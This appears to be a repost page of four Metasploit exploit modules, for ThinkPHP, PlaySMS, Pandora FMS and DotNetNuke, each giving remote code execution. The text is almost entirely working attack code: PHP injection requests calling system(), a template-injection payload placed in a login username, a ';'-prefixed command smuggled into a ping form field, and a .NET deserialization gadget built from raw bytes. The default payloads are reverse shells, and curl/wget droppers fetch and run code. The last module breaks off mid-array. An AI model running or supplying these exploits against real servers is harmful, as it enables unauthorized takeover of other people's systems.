ISHACK AI BOT 发布的所有帖子
-
ThinkPHP - Multiple PHP Injection RCEs (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::AutoCheck include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'ThinkPHP Multiple PHP Injection RCEs', 'Description' => %q{ This module exploits one of two PHP injection vulnerabilities in the ThinkPHP web framework to execute code as the web user. Versions up to and including 5.0.23 are exploitable, though 5.0.23 is vulnerable to a separate vulnerability. The module will automatically attempt to detect the version of the software. Tested against versions 5.0.20 and 5.0.23 as can be found on Vulhub. }, 'Author' => [ # Discovery by unknown threaty threat actors 'wvu' # Module ], 'References' => [ # https://www.google.com/search?q=thinkphp+rce, tbh ['CVE', '2018-20062'], # NoneCMS 1.3 using ThinkPHP ['CVE', '2019-9082'], # Open Source BMS 1.1.1 using ThinkPHP ['URL', 'https://github.com/vulhub/vulhub/tree/master/thinkphp/5-rce'], ['URL', 'https://github.com/vulhub/vulhub/tree/master/thinkphp/5.0.23-rce'] ], 'DisclosureDate' => '2018-12-10', # Unknown discovery date 'License' => MSF_LICENSE, 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Privileged' => false, 'Targets' => [ ['Unix Command', 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_netcat'} ], ['Linux Dropper', 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper, 'DefaultOptions' => { 'CMDSTAGER::FLAVOR' => :curl, 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } ] ], 'DefaultTarget' => 1, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } )) register_options([ Opt::RPORT(8080), OptString.new('TARGETURI', [true, 'Base path', '/']) ]) register_advanced_options([ # NOTE: You may want to tweak this for long-running commands like find(1) OptFloat.new('CmdOutputTimeout', [true, 'Timeout for cmd/unix/generic output', 3.5]) ]) # XXX: https://github.com/rapid7/metasploit-framework/issues/12963 import_target_defaults end =begin wvu@kharak:~$ curl -vs "http://127.0.0.1:8080/index.php?s=$((RANDOM))" | xmllint --html --xpath 'substring-after(//div[@class = "copyright"]/span[1]/text(), "V")' - * Trying 127.0.0.1... * TCP_NODELAY set * Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0) > GET /index.php?s=1353 HTTP/1.1 > Host: 127.0.0.1:8080 > User-Agent: curl/7.54.0 > Accept: */* > < HTTP/1.1 404 Not Found < Date: Mon, 13 Apr 2020 06:42:15 GMT < Server: Apache/2.4.25 (Debian) < X-Powered-By: PHP/7.2.5 < Content-Length: 7332 < Content-Type: text/html; charset=utf-8 < { [7332 bytes data] * Connection #0 to host 127.0.0.1 left intact 5.0.20wvu@kharak:~$ =end def check # An unknown route will trigger the ThinkPHP copyright with version res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vars_get' => {'s' => rand_text_alpha(8..42)} ) unless res return CheckCode::Unknown('Target did not respond to check request.') end unless res.code == 404 && res.body.match(/copyright.*ThinkPHP/m) return CheckCode::Unknown( 'Target did not respond with ThinkPHP copyright.' ) end # Get the first copyright <span> containing the version version = res.get_html_document.at('//div[@class = "copyright"]/span')&.text unless (version = version.scan(/^V([\d.]+)$/).flatten.first) return CheckCode::Detected( 'Target did not respond with ThinkPHP version.' ) end # Make the parsed version a comparable ivar for automatic exploitation @version = Gem::Version.new(version) if @version <= Gem::Version.new('5.0.23') return CheckCode::Appears("ThinkPHP #{@version} is a vulnerable version.") end CheckCode::Safe("ThinkPHP #{@version} is NOT a vulnerable version.") end def exploit # NOTE: Automatic check is implemented by the AutoCheck mixin super # This is just extra insurance in case I screwed up the check method unless @version fail_with(Failure::NoTarget, 'Could not detect ThinkPHP version') end print_status("Targeting ThinkPHP #{@version} automatically") case target['Type'] when :unix_cmd execute_command(payload.encoded) when :linux_dropper # XXX: Only opts[:noconcat] may induce responses from the server execute_cmdstager else # This is just extra insurance in case I screwed up the info hash fail_with(Failure::NoTarget, "Could not select target #{target['Type']}") end end def execute_command(cmd, _opts = {}) vprint_status("Executing command: #{cmd}") if @version < Gem::Version.new('5.0.23') exploit_less_than_5_0_23(cmd) elsif @version == Gem::Version.new('5.0.23') exploit_5_0_23(cmd) else # This is just extra insurance in case I screwed up the exploit method fail_with(Failure::NoTarget, "Could not target ThinkPHP #{@version}") end end =begin wvu@kharak:~$ curl -gvs "http://127.0.0.1:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id" | head -1 * Trying 127.0.0.1... * TCP_NODELAY set * Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0) > GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id HTTP/1.1 > Host: 127.0.0.1:8080 > User-Agent: curl/7.54.0 > Accept: */* > < HTTP/1.1 200 OK < Date: Mon, 13 Apr 2020 06:43:45 GMT < Server: Apache/2.4.25 (Debian) < X-Powered-By: PHP/7.2.5 < Vary: Accept-Encoding < Transfer-Encoding: chunked < Content-Type: text/html; charset=UTF-8 < { [60 bytes data] * Connection #0 to host 127.0.0.1 left intact uid=33(www-data) gid=33(www-data) groups=33(www-data) wvu@kharak:~$ =end def exploit_less_than_5_0_23(cmd) # XXX: The server may block on executing our payload and won't respond res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vars_get' => { 's' => '/Index/\\think\\app/invokefunction', 'function' => 'call_user_func_array', 'vars[0]' => 'system', # TODO: Debug ARCH_PHP 'vars[1][]' => cmd }, 'partial' => true }, datastore['CmdOutputTimeout']) return unless res && res.code == 200 vprint_good("Successfully executed command: #{cmd}") return unless datastore['PAYLOAD'] == 'cmd/unix/generic' # HACK: Print half of the doubled-up command output vprint_line(res.body[0, res.body.length / 2]) end =begin wvu@kharak:~$ curl -vsd "_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id" http://127.0.0.1:8081/index.php?s=captcha | head -1 * Trying 127.0.0.1... * TCP_NODELAY set * Connected to 127.0.0.1 (127.0.0.1) port 8081 (#0) > POST /index.php?s=captcha HTTP/1.1 > Host: 127.0.0.1:8081 > User-Agent: curl/7.54.0 > Accept: */* > Content-Length: 72 > Content-Type: application/x-www-form-urlencoded > } [72 bytes data] * upload completely sent off: 72 out of 72 bytes < HTTP/1.1 200 OK < Date: Mon, 13 Apr 2020 06:44:05 GMT < Server: Apache/2.4.25 (Debian) < X-Powered-By: PHP/7.2.12 < Vary: Accept-Encoding < Transfer-Encoding: chunked < Content-Type: text/html; charset=UTF-8 < { [60 bytes data] * Connection #0 to host 127.0.0.1 left intact uid=33(www-data) gid=33(www-data) groups=33(www-data) wvu@kharak:~$ =end def exploit_5_0_23(cmd) # XXX: The server may block on executing our payload and won't respond res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vars_get' => {'s' => 'captcha'}, 'vars_post' => { '_method' => '__construct', 'filter[]' => 'system', # TODO: Debug ARCH_PHP 'method' => 'get', 'server[REQUEST_METHOD]' => cmd }, 'partial' => true }, datastore['CmdOutputTimeout']) return unless res && res.code == 200 vprint_good("Successfully executed command: #{cmd}") return unless datastore['PAYLOAD'] == 'cmd/unix/generic' # Clean up output from cmd/unix/generic vprint_line(res.body.gsub(/\n<!DOCTYPE html>.*/m, '')) end end
-
PlaySMS - index.php Unauthenticated Template Injection Code Execution (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'PlaySMS index.php Unauthenticated Template Injection Code Execution', 'Description' => %q{ This module exploits a preauth Server-Side Template Injection vulnerability that leads to remote code execution in PlaySMS before version 1.4.3. This issue is caused by double processing a server-side template with a custom PHP template system called 'TPL' which is used in the PlaySMS template engine at `src/Playsms/Tpl.php:_compile()`. The vulnerability is triggered when an attacker supplied username with a malicious payload is submitted. This malicious payload is then stored in a TPL template which when rendered a second time, results in code execution. The TPL(https://github.com/antonraharja/tpl) template language is vulnerable to PHP code injection. This module was tested against PlaySMS 1.4 on HackTheBox's Forlic Machine. }, 'Author' => [ 'Touhid M.Shaikh <touhidshaikh22[at]gmail.com>', # Metasploit Module 'Lucas Rosevear' # Found and Initial PoC by NCC Group ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2020-8644'], ['URL', 'https://www.youtube.com/watch?v=zu-bwoAtTrc'], ['URL', 'https://research.nccgroup.com/2020/02/11/technical-advisory-playsms-pre-authentication-remote-code-execution-cve-2020-8644/'] ], 'DefaultOptions' => { 'SSL' => false, 'PAYLOAD' => 'php/meterpreter/reverse_tcp', 'ENCODER' => 'php/base64' }, 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [ [ 'PlaySMS Before 1.4.3', {} ], ], 'DefaultTarget' => 0, 'DisclosureDate' => '2020-02-05' ) ) register_options( [ OptString.new('TARGETURI', [ true, 'Base playsms directory path', '/']), ] ) end def uri return target_uri.path end def check begin res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, 'index.php') }) rescue StandardError vprint_error('Unable to access the index.php file') return CheckCode::Unknown end if res.code == 302 && res.headers['Location'].include?('index.php?app=main&inc=core_auth&route=login') return Exploit::CheckCode::Appears end return CheckCode::Safe end # Send Payload in Login Request def login res = send_request_cgi({ 'uri' => normalize_uri(uri, 'index.php'), 'method' => 'GET', 'vars_get' => { 'app' => 'main', 'inc' => 'core_auth', 'route' => 'login' } }) # Grabbing CSRF token from body /name="X-CSRF-Token" value="(?<csrf>[a-z0-9"]+)">/ =~ res.body fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine the CSRF token") if csrf.nil? vprint_good("X-CSRF-Token for login : #{csrf}") cookies = res.get_cookies vprint_status('Trying to send the payload in the username field...') # Encoded in base64 to avoid HTML TAGS which are filter by the Application which is also blocking semicolon(;), that is why we're using delete_suffix(';') evil = "{{#{payload.encoded.delete_suffix(';')}}}" # Send Payload with cookies. res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, 'index.php'), 'cookie' => cookies, 'vars_get' => Hash[{ 'app' => 'main', 'inc' => 'core_auth', 'route' => 'login', 'op' => 'login' }.to_a.shuffle], 'vars_post' => Hash[{ 'X-CSRF-Token' => csrf, 'username' => evil, 'password' => '' }.to_a.shuffle] }) fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") if res.nil? # Request Status Check if res.code == 302 print_good('Payload successfully sent') return cookies else fail_with(Failure::UnexpectedReply, "#{peer} - Something went wrong") end end def exploit cookies = login vprint_status("Cookies here : #{cookies}") # Execute Last Sent Username. send_request_cgi({ 'uri' => normalize_uri(uri, 'index.php'), 'method' => 'GET', 'cookie' => cookies, 'vars_get' => { 'app' => 'main', 'inc' => 'core_auth', 'route' => 'login' } }, 0) end end
-
Pandora FMS - Ping Authenticated Remote Code Execution (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'Pandora FMS Ping Authenticated Remote Code Execution', 'Description' => %q{ This module exploits a vulnerability found in Pandora FMS 7.0NG and lower. net_tools.php in Pandora FMS 7.0NG allows remote attackers to execute arbitrary OS commands. }, 'Author' => [ 'Onur ER <[email protected]>' # Vulnerability discovery and Metasploit module ], 'DisclosureDate' => '2020-03-09', 'License' => MSF_LICENSE, 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Privileged' => false, 'Targets' => [ ['Automatic Target', {}] ], 'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' }, 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The URI of the vulnerable Pandora FMS instance', '/pandora_console/']), OptString.new('USERNAME', [true, 'The username to authenticate with']), OptString.new('PASSWORD', [true, 'The password to authenticate with']) ] ) end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri, 'index.php') }) unless res vprint_error 'Connection failed' return CheckCode::Unknown end unless res.body =~ /Pandora/i return CheckCode::Safe end pandora_version = res.body.scan(/<div id="ver_num">v(.*?)<\/div>/).flatten.first version = Gem::Version.new(pandora_version) print_status("Pandora FMS version #{version}") if version if Gem::Version.new(version) <= Gem::Version.new('7.0NG') return Exploit::CheckCode::Appears end CheckCode::Detected end def authenticate res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri, 'index.php'), 'vars_get' => { 'login' => '1' }, 'vars_post' => { 'nick' => datastore['USERNAME'], 'pass' => datastore['PASSWORD'], 'login_button' => 'Login' } }) return auth_succeeded?(res) end def auth_succeeded?(res) unless res && res.code == 200 && res.body.include?('Welcome to Pandora FMS') print_error('Authentication failed!') return false end print_good('Successfully authenticated') print_status('Attempting to retrieve session cookie') @cookie = res.get_cookies unless @cookie.include?('PHPSESSID') print_error('Error retrieving cookie!') return false end print_good("Successfully retrieved session cookie: #{@cookie}") true end def exploit print_status('Exploiting...') execute_cmdstager(flavor: :wget, nospace: true) end def execute_command(cmd, opts = {}) print_status("Attempting to authenticate using (#{datastore['USERNAME']}:#{datastore['PASSWORD']})") auth = authenticate unless auth fail_with Failure::NoAccess, 'Please provide a valid username and password.' end id_agente = 1 while !session_created? && id_agente <= 10 send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri, 'index.php'), 'cookie' => @cookie, 'vars_get' => { 'sec' => 'estado', 'sec2' => 'operation/agentes/ver_agente', 'tab' => 'extension', 'id_agente' => "#{id_agente}", 'id_extension' => 'network_tools' }, 'vars_post' => { 'operation' => '2', 'select_ips' => ";#{cmd}", 'community' => 'public', 'submit' => 'Execute' } }) id_agente += 1 end end end
-
DotNetNuke - Cookie Deserialization Remote Code Execution (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/exploit/powershell' require 'openssl' require 'set' class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Powershell include Msf::Exploit::Remote::HttpServer Rank = ExcellentRanking # ================================= # Overidden setup method to allow # for delayed handler start # ================================= def setup # Reset the session counts to zero. reset_session_counts return if !payload_instance return if !handler_enabled? # Configure the payload handler payload_instance.exploit_config = { 'active_timeout' => active_timeout } # payload handler is normally set up and started here # but has been removed so we can start the handler when needed. end def initialize(info = {}) super(update_info( info, 'Name' => "DotNetNuke Cookie Deserialization Remote Code Execution", 'Description' => %q( This module exploits a deserialization vulnerability in DotNetNuke (DNN) versions 5.0.0 to 9.3.0-RC. Vulnerable versions store profile information for users in the DNNPersonalization cookie as XML. The expected structure includes a "type" attribute to instruct the server which type of object to create on deserialization. The cookie is processed by the application whenever it attempts to load the current user's profile data. This occurs when DNN is configured to handle 404 errors with its built-in error page (default configuration). An attacker can leverage this vulnerability to execute arbitrary code on the system. ), 'License' => MSF_LICENSE, 'Author' => [ 'Jon Park', 'Jon Seigel' ], 'References' => [ [ 'CVE', '2017-9822' ], [ 'CVE', '2018-15811'], [ 'CVE', '2018-15812'], [ 'CVE', '2018-18325'], # due to failure to patch CVE-2018-15811 [ 'CVE', '2018-18326'], # due to failure to patch CVE-2018-15812 [ 'URL', 'https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf'], [ 'URL', 'https://googleprojectzero.blogspot.com/2017/04/exploiting-net-managed-dcom.html'], [ 'URL', 'https://github.com/pwntester/ysoserial.net'] ], 'Platform' => 'win', 'Targets' => [ [ 'Automatic', { 'auto' => true } ], [ 'v5.0 - v9.0.0', { 'ReqEncrypt' => false, 'ReqSession' => false } ], [ 'v9.0.1 - v9.1.1', { 'ReqEncrypt' => false, 'ReqSession' => false } ], [ 'v9.2.0 - v9.2.1', { 'ReqEncrypt' => true, 'ReqSession' => true } ], [ 'v9.2.2 - v9.3.0-RC', { 'ReqEncrypt' => true, 'ReqSession' => true } ] ], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Payload' => { }, 'Privileged' => false, 'DisclosureDate' => "Jul 20 2017", 'DefaultOptions' => { 'WfsDelay' => 5 }, 'DefaultTarget' => 0 )) deregister_options('SRVHOST') register_options( [ OptString.new('TARGETURI', [true, 'The path that will result in the DNN 404 response', '/__']), OptBool.new('DryRun', [false, 'Performs target version check, finds encryption KEY and IV values if required, and outputs a cookie payload', false]), OptString.new('VERIFICATION_PLAIN', [false, %q(The known (full or partial) plaintext of the encrypted verification code. Typically in the format of {portalID}-{userID} where portalID is an integer and userID is either an integer or GUID (v9.2.2+)), '']), OptBool.new('ENCRYPTED', [true, %q(Whether or not to encrypt the final payload cookie; (VERIFICATION_CODE and VERIFICATION_PLAIN) or (KEY and IV) are required if set to true.), false]), OptString.new('KEY', [false, 'The key to use for encryption.', '']), OptString.new('IV', [false, 'The initialization vector to use for encryption.', '']), OptString.new('SESSION_TOKEN', [false, %q(The .DOTNETNUKE session cookie to use when submitting the payload to the target server. DNN versions 9.2.0+ require the attack to be submitted from an authenticated context.), '']), OptString.new('VERIFICATION_CODE', [false, %q(The encrypted verification code received in a registration email. Can also be the path to a file containing a list of verification codes.), '']) ] ) initialize_instance_variables end def initialize_instance_variables # ================== # COMMON VARIABLES # ================== @target_idx = 0 # Flag for whether or not to perform exploitation @dry_run = false # Flag for whether or not the target requires encryption @encrypted = false # Flag for whether or not to attempt to decrypt the provided verification token(s) @try_decrypt = false # ================== # PAYLOAD VARIABLES # ================== # ObjectStateFormatter serialized header @osf_header = [255, 1, 50] # ObjectStateFormatter serialized data before the command payload @osf_wrapper_start = [ 0, 1, 0, 0, 0, 255, 255, 255, 255, 1, 0, 0, 0, 0, 0, 0, 0, 12, 2, 0, 0, 0, 73, 83, 121, 115, 116, 101, 109, 44, 32, 86, 101, 114, 115, 105, 111, 110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61, 110, 101, 117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101, 121, 84, 111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56, 57, 5, 1, 0, 0, 0, 132, 1, 83, 121, 115, 116, 101, 109, 46, 67, 111, 108, 108, 101, 99, 116, 105, 111, 110, 115, 46, 71, 101, 110, 101, 114, 105, 99, 46, 83, 111, 114, 116, 101, 100, 83, 101, 116, 96, 49, 91, 91, 83, 121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 109, 115, 99, 111, 114, 108, 105, 98, 44, 32, 86, 101, 114, 115, 105, 111, 110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61, 110, 101, 117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101, 121, 84, 111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56, 57, 93, 93, 4, 0, 0, 0, 5, 67, 111, 117, 110, 116, 8, 67, 111, 109, 112, 97, 114, 101, 114, 7, 86, 101, 114, 115, 105, 111, 110, 5, 73, 116, 101, 109, 115, 0, 3, 0, 6, 8, 141, 1, 83, 121, 115, 116, 101, 109, 46, 67, 111, 108, 108, 101, 99, 116, 105, 111, 110, 115, 46, 71, 101, 110, 101, 114, 105, 99, 46, 67, 111, 109, 112, 97, 114, 105, 115, 111, 110, 67, 111, 109, 112, 97, 114, 101, 114, 96, 49, 91, 91, 83, 121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 109, 115, 99, 111, 114, 108, 105, 98, 44, 32, 86, 101, 114, 115, 105, 111, 110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61, 110, 101, 117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101, 121, 84, 111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56, 57, 93, 93, 8, 2, 0, 0, 0, 2, 0, 0, 0, 9, 3, 0, 0, 0, 2, 0, 0, 0, 9, 4, 0, 0, 0, 4, 3, 0, 0, 0, 141, 1, 83, 121, 115, 116, 101, 109, 46, 67, 111, 108, 108, 101, 99, 116, 105, 111, 110, 115, 46, 71, 101, 110, 101, 114, 105, 99, 46, 67, 111, 109, 112, 97, 114, 105, 115, 111, 110, 67, 111, 109, 112, 97, 114, 101, 114, 96, 49, 91, 91, 83, 121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 109, 115, 99, 111, 114, 108, 105, 98, 44, 32, 86, 101, 114, 115, 105, 111, 110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61, 110, 101, 117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101, 121, 84, 111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56, 57, 93, 93, 1, 0, 0, 0, 11, 95, 99, 111, 109, 112, 97, 114, 105, 115, 111, 110, 3, 34, 83, 121, 115, 116, 101, 109, 46, 68, 101, 108, 101, 103, 97, 116, 101, 83, 101, 114, 105, 97, 108, 105, 122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 9, 5, 0, 0, 0, 17, 4, 0, 0, 0, 2, 0, 0, 0, 6, 6, 0, 0, 0 ] # ObjectStateFormatter serialized data to place after the command payload. @osf_wrapper_end = [ 6, 7, 0, 0, 0, 3, 99, 109, 100, 4, 5, 0, 0, 0, 34, 83, 121, 115, 116, 101, 109, 46, 68, 101, 108, 101, 103, 97, 116, 101, 83, 101, 114, 105, 97, 108, 105, 122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 3, 0, 0, 0, 8, 68, 101, 108, 101, 103, 97, 116, 101, 7, 109, 101, 116, 104, 111, 100, 48, 7, 109, 101, 116, 104, 111, 100, 49, 3, 3, 3, 48, 83, 121, 115, 116, 101, 109, 46, 68, 101, 108, 101, 103, 97, 116, 101, 83, 101, 114, 105, 97, 108, 105, 122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 43, 68, 101, 108, 101, 103, 97, 116, 101, 69, 110, 116, 114, 121, 47, 83, 121, 115, 116, 101, 109, 46, 82, 101, 102, 108, 101, 99, 116, 105, 111, 110, 46, 77, 101, 109, 98, 101, 114, 73, 110, 102, 111, 83, 101, 114, 105, 97, 108, 105, 122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 47, 83, 121, 115, 116, 101, 109, 46, 82, 101, 102, 108, 101, 99, 116, 105, 111, 110, 46, 77, 101, 109, 98, 101, 114, 73, 110, 102, 111, 83, 101, 114, 105, 97, 108, 105, 122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 9, 8, 0, 0, 0, 9, 9, 0, 0, 0, 9, 10, 0, 0, 0, 4, 8, 0, 0, 0, 48, 83, 121, 115, 116, 101, 109, 46, 68, 101, 108, 101, 103, 97, 116, 101, 83, 101, 114, 105, 97, 108, 105, 122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 43, 68, 101, 108, 101, 103, 97, 116, 101, 69, 110, 116, 114, 121, 7, 0, 0, 0, 4, 116, 121, 112, 101, 8, 97, 115, 115, 101, 109, 98, 108, 121, 6, 116, 97, 114, 103, 101, 116, 18, 116, 97, 114, 103, 101, 116, 84, 121, 112, 101, 65, 115, 115, 101, 109, 98, 108, 121, 14, 116, 97, 114, 103, 101, 116, 84, 121, 112, 101, 78, 97, 109, 101, 10, 109, 101, 116, 104, 111, 100, 78, 97, 109, 101, 13, 100, 101, 108, 101, 103, 97, 116, 101, 69, 110, 116, 114, 121, 1, 1, 2, 1, 1, 1, 3, 48, 83, 121, 115, 116, 101, 109, 46, 68, 101, 108, 101, 103, 97, 116, 101, 83, 101, 114, 105, 97, 108, 105, 122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 43, 68, 101, 108, 101, 103, 97, 116, 101, 69, 110, 116, 114, 121, 6, 11, 0, 0, 0, 176, 2, 83, 121, 115, 116, 101, 109, 46, 70, 117, 110, 99, 96, 51, 91, 91, 83, 121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 109, 115, 99, 111, 114, 108, 105, 98, 44, 32, 86, 101, 114, 115, 105, 111, 110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61, 110, 101, 117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101, 121, 84, 111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56, 57, 93, 44, 91, 83, 121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 109, 115, 99, 111, 114, 108, 105, 98, 44, 32, 86, 101, 114, 115, 105, 111, 110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61, 110, 101, 117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101, 121, 84, 111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56, 57, 93, 44, 91, 83, 121, 115, 116, 101, 109, 46, 68, 105, 97, 103, 110, 111, 115, 116, 105, 99, 115, 46, 80, 114, 111, 99, 101, 115, 115, 44, 32, 83, 121, 115, 116, 101, 109, 44, 32, 86, 101, 114, 115, 105, 111, 110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61, 110, 101, 117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101, 121, 84, 111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56, 57, 93, 93, 6, 12, 0, 0, 0, 75, 109, 115, 99, 111, 114, 108, 105, 98, 44, 32, 86, 101, 114, 115, 105, 111, 110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61, 110, 101, 117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101, 121, 84, 111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56, 57, 10, 6, 13, 0, 0, 0, 73, 83, 121, 115, 116, 101, 109, 44, 32, 86, 101, 114, 115, 105, 111, 110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61, 110, 101, 117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101, 121, 84, 111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56, 57, 6, 14, 0, 0, 0, 26, 83, 121, 115, 116, 101, 109, 46, 68, 105, 97, 103, 110, 111, 115, 116, 105, 99, 115, 46, 80, 114, 111, 99, 101, 115, 115, 6, 15, 0, 0, 0, 5, 83, 116, 97, 114, 116, 9, 16, 0, 0, 0, 4, 9, 0, 0, 0, 47, 83, 121, 115, 116, 101, 109, 46, 82, 101, 102, 108, 101, 99, 116, 105, 111, 110, 46, 77, 101, 109, 98, 101, 114, 73, 110, 102, 111, 83, 101, 114, 105, 97, 108, 105, 122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 7, 0, 0, 0, 4, 78, 97, 109, 101, 12, 65, 115, 115, 101, 109, 98, 108, 121, 78, 97, 109, 101, 9, 67, 108, 97, 115, 115, 78, 97, 109, 101, 9, 83, 105, 103, 110, 97, 116, 117, 114, 101, 10, 83, 105, 103, 110, 97, 116, 117, 114, 101, 50, 10, 77, 101, 109, 98, 101, 114, 84, 121, 112, 101, 16, 71, 101, 110, 101, 114, 105, 99, 65, 114, 103, 117, 109, 101, 110, 116, 115, 1, 1, 1, 1, 1, 0, 3, 8, 13, 83, 121, 115, 116, 101, 109, 46, 84, 121, 112, 101, 91, 93, 9, 15, 0, 0, 0, 9, 13, 0, 0, 0, 9, 14, 0, 0, 0, 6, 20, 0, 0, 0, 62, 83, 121, 115, 116, 101, 109, 46, 68, 105, 97, 103, 110, 111, 115, 116, 105, 99, 115, 46, 80, 114, 111, 99, 101, 115, 115, 32, 83, 116, 97, 114, 116, 40, 83, 121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 83, 121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 41, 6, 21, 0, 0, 0, 62, 83, 121, 115, 116, 101, 109, 46, 68, 105, 97, 103, 110, 111, 115, 116, 105, 99, 115, 46, 80, 114, 111, 99, 101, 115, 115, 32, 83, 116, 97, 114, 116, 40, 83, 121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 83, 121, 